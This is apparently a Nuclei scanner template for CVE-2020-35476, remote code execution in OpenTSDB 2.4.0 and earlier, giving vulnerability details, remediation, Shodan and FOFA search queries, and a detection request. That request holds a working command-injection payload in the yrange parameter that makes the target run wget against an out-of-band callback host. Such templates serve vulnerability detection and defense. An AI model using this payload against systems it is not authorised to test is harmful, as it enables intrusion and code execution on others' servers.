id: CVE-2020-35476

info:
  name: OpenTSDB <=2.4.0 - Remote Code Execution
  author: pikpikcu
  severity: critical
  description: |
    OpenTSDB 2.4.0 and earlier is susceptible to remote code execution via the yrange parameter written to a gnuplot file in the /tmp directory. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Upgrade OpenTSDB to a version higher than 2.4.0 to mitigate this vulnerability.
  reference:
    - https://github.com/OpenTSDB/opentsdb/issues/2051
    - http://packetstormsecurity.com/files/170331/OpenTSDB-2.4.0-Command-Injection.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-35476
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-35476
    cwe-id: CWE-78
    epss-score: 0.93361
    epss-percentile: 0.99817
    cpe: cpe:2.3:a:opentsdb:opentsdb:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: opentsdb
    product: opentsdb
    shodan-query:
      - html:"OpenTSDB"
      - http.html:"opentsdb"
    fofa-query: body="opentsdb"
  tags: cve,cve2020,opentsdb,rce,packetstorm

http:
  - method: GET
    path:
      - "{{BaseURL}}/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system(%27wget%20http://{{interactsh-url}}%27)]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - plotted
          - timing
          - cachehit
        condition: and

      - type: word
        part: header
        words:
          - application/json

      - type: status
        status:
          - 200
# digest: 490a00463044022024a4f7ad61726165471e1a531fd6f280ab29da80d01d4d5787ee2c204c3dc1260220027c5d3f397c13b15e48c7c73dfe975489093117943b24d8e097317dce0e36e3:922c64590222798bb761d5b6d8e72950